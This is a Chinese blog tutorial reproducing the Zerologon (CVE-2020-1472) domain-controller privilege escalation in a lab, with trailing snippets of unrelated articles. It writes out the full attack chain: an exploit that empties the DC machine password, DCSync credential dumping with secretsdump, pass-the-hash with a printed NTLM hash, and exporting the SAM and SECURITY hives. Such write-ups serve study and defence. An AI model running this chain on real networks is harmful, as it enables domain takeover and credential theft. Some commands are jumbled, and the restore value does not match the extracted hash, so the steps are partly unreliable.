当前位置: 首页 > news >正文

【技术分享】NetLogon于域内提权漏洞(CVE-2020-1472)

一、漏洞介绍

CVE-2020-1472是一个Windows域控中严重的远程权限提升漏洞。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。该漏洞适用于Win2008及后的所有版本。

二、漏洞原理

Netlogon使用的AES认证算法中的vi向量默认为0。这将导致攻击者可以绕过认证,并向域发起Netlogon计算机账户认证请求。攻击者可以使用8字节全0 client challenge 不断尝试,从而得到一个正确的8字节全0 client credential以通过认证,再通过相关调用完成对域控密码的修改。

攻击者只需要定位域控主机名及IP,同时确认可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 取得域管理员的权限。

三、漏洞复现

1、使用工具检测域控是否存在该漏洞。若能返回Success,则说明DC存在漏洞。

python3 zerologon_tester.py 域控计算机名称 域控ip

python3 zerologon_tester.py owa 10.10.10.8


2、使用exploit漏洞脚本重置域控机器账号。

域控计算机名python3 cve-2020-1472-exploit.py

域控ip python3

cve-2020-1472-exploit.py owa 10.10.10.8


3、使用impacket里的脚本和使用DCSync导出域内所有的用户凭证。

python3 secretsdump.py 域/域控计算机名$@域控ip -just-dc -no-pass #linux利用时$需要转义为\$ windows不需要转义 -no-pass 无密码登录 -just-dc. 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)

python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -just-dc -no-pass


此时,获取到域管的Hash。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::

4、通过wmic hash进行传递。

python3 wmiexec.py -hashes 账户hash 域/账户名@域控ip python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam.red/administrator@10.10.10.8


5、为了防止脱域,通过将SAM系统等文件导出到本地,以获取此前在域控制机器上保存的hash值,然后用于进行系统的恢复操作。

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

lget system.save

lget sam.save

lget security.save

下载后,务必删除文件 del /f *.save。


6、通过导出sam.save、security.save和system.save等文件,获取域控制机器上保存的NTLM Hash值,并将其用于密码恢复操作。

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL


7、通过取得$MACHINE.ACC:的值的后半部分或者$MACHINE.ACC:plain_password_hex的值,对其进⾏恢复。

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b3b0675e639b4efb2980bc22dd05a37e

$MACHINE.ACC:plain_password_hex:781a2beba2659bc7f184086fdf71440c54da34629fda115cabd39cb9e32846df3cf01dca22cc14ec289c867034c9dbc16ccc201f6db3e8dde620e6f4093353708271c00aa5c22974e41f3d7e10bcc809225ae99d1a841dbcf353a0a9ed4c1bf12cbbe5f20771957692632af762469c28aedc7b7d41860a3fd45275abe23eb54ebde6c073d4d96e855969c360c52b8df2a808027e34280cfe6be69082a0a10a5791ac8c1886a60e377562332770ed45e17282472461d5972a3e43ebaf2406033105a40f486ffb54af9e37979e0a75a87c99b08d0ae71beb836f64eca79af84199ed388595f90be931d480fcfc64054c75

注意只取“$MACHINE.ACC: ”的值的后半部分:b3b0675e639b4efb2980bc22dd05a37e

python3 restorepassword.py 域/预控计算机名称@预控计算机名称 --tar-ip 域控ip -hexpass $MACHINE.ACC:的值的后半部分 python3 restorepassword.py redteam.red/owa@owa -target-ip 10.10.10.8 -hexpass 9c786d87f82b46071818e5bda3a9faab


此时可以使用脚本来检测是否已经恢复密码成功。

python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -no-pass -just-dc


此时已⽆法获取到域内所有⽤户凭证 hash,⾄此恢复成功。

漏洞成功利用后,Windows安全日志将以事件ID 4742的形式显示相关信息。

在实际应用环境中,需要务必注意的是,该漏洞利用可能会导致域控制器的账户和密码被清空,进而可能影响域内的运行情况。例如,某些服务可能无法正常运行,甚至可能导致域成员从域中脱离。这是一个严重的问题,需要予以重视。

相关文章:

【技术分享】NetLogon于域内提权漏洞(CVE-2020-1472)

一、漏洞介绍 CVE-2020-1472是一个Windows域控中严重的远程权限提升漏洞。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。该漏洞适用于Win2008及后…...

python学习之【模块】

前言 上一篇文章 python学习之【深拷贝】中学习了python中的深浅拷贝学习内容,这篇文章接着学习python中的模块。 什么是模块 在python中,一个文件(以“.py”为后缀名的文件)就叫做一个模块,每一个模块在python里都…...

dns电脑服务器发生故障怎么修复

DNS电脑服务器发生故障可能会导致网络连接问题、网页无法访问、或者电子邮件无法发送等情况。修复DNS电脑服务器故障可以采取多种方法,例如检查网络连接、更换DNS服务器等措施。当DNS电脑服务器发生故障时,可以采取以下修复措施: 尝试刷新DNS…...

Python项目Flask ipv6双栈支持改造

一、背景 Flask 是一个微型的(轻量)使用Python 语言开发的 WSGI Web 框架(一组库和模块),基于Werkzeug WSGI工具箱/库和Jinja2 模板引擎,当然,Python的WEB框架还有:Django、Tornado、Webpy,这暂且不提。 Flask使用BSD授权。 Flask也被称为microframework(微框架),F…...

hcia 目的mac为(单播 组播 广播)mac

从下往上看...

专栏十:10X单细胞的聚类树绘图

经常在文章中看到对细胞群进行聚类,以证明两个cluster之间的相关性,这里总结两种绘制这种图的方式和代码,当然我觉得这些五颜六色的颜色可能是后期加的,本帖子只总结画树状图的方法 例一 文章Single-cell analyses implicate ascites in remodeling the ecosystems of pr…...

linux查找命令使用的正则表达式

正则表达式是一种用于匹配和操作文本的强大工具,它是由一系列字符和特殊字符组成的模式,用于描述要匹配的文本模式。 正则表达式可以在文本中查找、替换、提取和验证特定的模式。 一般的查找命令是:grep,sed,awk 元字…...

ffmpeg6.0编译(NDK)

ffmpeg 6.0 支持vulkan 需要手动安装Vulkan 并将include里面的vk_video 和 vulkan 拷贝到 android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include/ vulkan 下载 cp -r vk_video $NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include/…...

达观RPA实战-编码与解码

一、应用背景 项目中我们经常需要获取某个服务的JSON数据。如果响应返回的是JSON格式的数据,客户端通过JSON工具可正常解析。但如果碰到值里面有中文的,特别是返回的格式是类似“{"name": "\u5927\u7231\u4e2d\u56fd"}”处理起来会比较麻烦。本文将从编…...

配置Swagger开发环境有效,生产环境无效

安全扫描:通用信息泄漏【未授权访问ip:端口号/swagger-ui.html】 步骤一:配置启用变量【开发环境可用生产环境不可用】 application-dev.yml: swagger:enable: true application-pro.yml: swagger:enable: false 步骤二:根据配置变量控…...

Jmeter系列-线程组的执行顺序(10)

重点 每个测试计划至少需要有一个线程组 线程组下不同组件的执行优先级/顺序 1、配置元件、监听器 2、前置处理器 3、定时器 4、逻辑控制器 5、取样器 6、后置处理器 7、断言 取样器执行顺序 在没有逻辑控制器情况下,取样器是按从上往下的顺序执行的 参考文章…...

c# 面试题

简述 private、 protected、 public、 internal 修饰符的访问权限。 答: Private(拍非得) : 私有成员, 在类的内部才可以访问。 protected (普泰忒): 保护成员,该类内部和继承类中可以访问。 Publ…...

目录优先的图片库网站PiGallery2

什么是 PiGallery2 ? PiGallery2 是一个快速的目录优先的图片库网站,具有丰富的用户界面,针对在低资源服务器(尤其是树莓派)上运行进行了优化 所谓 目录优先 是指,这种网站的设计是以显示不同的目录&#x…...

17-垃圾回收相关概念

目录 一、System.gc()的理解二、内存溢出和内存泄漏2、内存泄漏 三、Stop the World1、什么是 stop the word ? 四、垃圾回收的并行和并发1、并发和并发2、垃圾回收的并行和并发 五、安全点与安全区域1、什么是安全点?2、安全区域 六、强引用(不可回收&…...

Ubuntu-server 22.04LTS源码编译apache服务器

1 系统环境 # cat /etc/os-release PRETTY_NAME"Ubuntu 22.04.3 LTS" NAME"Ubuntu" VERSION_ID"22.04" VERSION"22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAMEjammy IDubuntu ID_LIKEdebian HOME_URL"https://www.ubuntu.co…...

科技资讯|苹果虚拟纸可在Vision Pro中为广告、书籍等提供MR内容和动画

近日,美国专利商标局正式授予苹果一项与虚拟纸张相关的专利。这是与虚拟纸张这项发明相关的第二项专利,鉴于苹果 Vision Pro 将于明年上市,那么我们离苹果实现虚拟纸张的发明又近了一步。 虚拟纸张将能够包含 2D、3D 和动画等 MR内容&#…...

JavaScript-promise使用+状态

Promise 什么是PromisePromise对象就是异步操作的最终完成和失败的结果&#xff1b; Promise的基本使用&#xff1a; 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compati…...

xshell---git上传文件到gitee远程仓库配置

1.git下载 如果没有xshell下没有下载过git&#xff0c;可以参考这篇的教程&#xff1a;Linux配置安装 git 详细教程 下载后可以通过 git --version 查看git的版本号&#xff0c;验证是否安装成功 2.新建仓库 首先需要在gitee上注册一个账号 然后再主页面点击右上边框的 号…...

【GO语言基础】前言

系列文章目录 【Go语言学习】ide安装与配置 【GO语言基础】前言 【GO语言基础】变量常量 【GO语言基础】数据类型 文章目录 系列文章目录一、基础知识包和函数函数声明语法简洁性 括号成对出现GO常用DOS命令命名规则项目目录结构注释 总结 一、基础知识 包和函数 //声明本代…...

巧妙的设计

1. 判空逻辑,如果为空,抛异常,下面代码来自kafka client: Assert.notNull(queue, () -> "No cache found for " + txIdPrefix); 2. 本地cache设计,一下代码来自kafka client: private final Map<String, BlockingQueue<CloseSafeProducer<K, V&g…...

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

HTML 列表、表格、表单

1 列表标签 作用&#xff1a;布局内容排列整齐的区域 列表分类&#xff1a;无序列表、有序列表、定义列表。 例如&#xff1a; 1.1 无序列表 标签&#xff1a;ul 嵌套 li&#xff0c;ul是无序列表&#xff0c;li是列表条目。 注意事项&#xff1a; ul 标签里面只能包裹 li…...

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1

每日一言 生活的美好&#xff0c;总是藏在那些你咬牙坚持的日子里。 硬件&#xff1a;OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写&#xff0c;"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

GitHub 趋势日报 (2025年06月06日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 590 cognee 551 onlook 399 project-based-learning 348 build-your-own-x 320 ne…...

WPF八大法则:告别模态窗口卡顿

⚙️ 核心问题&#xff1a;阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程&#xff0c;导致后续逻辑无法执行&#xff1a; var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题&#xff1a…...